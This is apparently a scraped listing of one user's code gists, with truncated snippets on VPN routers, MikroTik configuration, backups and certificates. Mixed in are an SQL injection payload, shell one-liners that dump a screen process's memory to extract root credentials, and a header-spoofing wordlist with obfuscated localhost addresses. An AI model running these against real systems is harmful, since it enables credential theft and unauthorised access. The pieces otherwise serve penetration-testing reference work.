adampielak

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

adampielak

Raspberry Pi VPN Router

This is a quick-and-dirty guide to setting up a Raspberry Pi as a "router on a stick" to PrivateInternetAccess VPN.

Requirements

Install Raspbian Jessie (2016-05-27-raspbian-jessie.img) to your Pi's sdcard.

Use the Raspberry Pi Configuration tool or sudo raspi-config to:

adampielak

#!/bin/bash
## SecurityCenter Backup Script
#
# This script is intended to create backups of all of the SecurityCenter data
# on a daily/weekly/monthly/etc. basis.  This is intended to be run as a cronjob
# and expect the SysAdmin to have configured the root@localhost mail alias to
# route through their email system in-case of errors.  An example of how to run
# this as a cronjob is below:
#
# 1 45 * * * root /opt/scripts/backups/sc-backup.sh

adampielak

Discovery

Tools

SQL Injection

' or '1' ='1' --

Website Directory Enumeration

adampielak

/interface bridge add name=bridge

/interface bridge port
add bridge=bridge interface=ether3
add bridge=bridge interface=ether2
add bridge=bridge interface=ether1

/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN

adampielak

# https://forum.mikrotik.com/viewtopic.php?t=132657
/ipv6 dhcp-server option
add code=23 name=recursivens6 value=0xfd000000000000000000000000000001

/ipv6 dhcp-server
add dhcp-option=recursivens6 interface=bridge lease-time=30m name=dhcp6

/ipv6 pool
add name=ULA-pool6 prefix=fd00::/64 prefix-length=64

adampielak

Create CA and CA-Signed Certificates

---

Create CA

#!/bin/bash
set -e
cd `dirname $0`
##########################################################

adampielak

bpid=$(ps -o pid,comm xwwwf | grep -A1 screen| tail -1 | awk '{print $1}'); \
  gcore $bpid; strings core.$bpid | grep '@' | grep root

# no gdb? no problem! dd to the rescue
bpid=$(ps -o pid,comm xwwwf | grep -A1 screen| tail -1 | awk '{print $1}'); \
  offset=$(grep heap /proc/$bpid/maps|cut -d '-' -f 1); \
   end=$(grep heap /proc/$bpid/maps|cut -d '-' -f 2|awk '{print $1}'); \
   dd if=/proc/$bpid/mem iflag=skip_bytes,count_bytes bs=$(getconf PAGESIZE) skip=$((0x$offset)) count=$((0x$end - 0x$offset)) status=none \
   | strings | grep root@

adampielak

Allow: CONNECT
Allow: GET
Allow: HEAD
Allow: POST
Allow: TRACE
Client-IP: 0
Client-IP: 0177.0000.0000.0001
Client-IP: 0x7F000001
Client-IP: 10.0.0.0
Client-IP: 10.0.0.1

adampielak

Container security notes

Internet references

Kernel and architecture

• namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html

• mount_namespaces - overview of Linux mount namespaces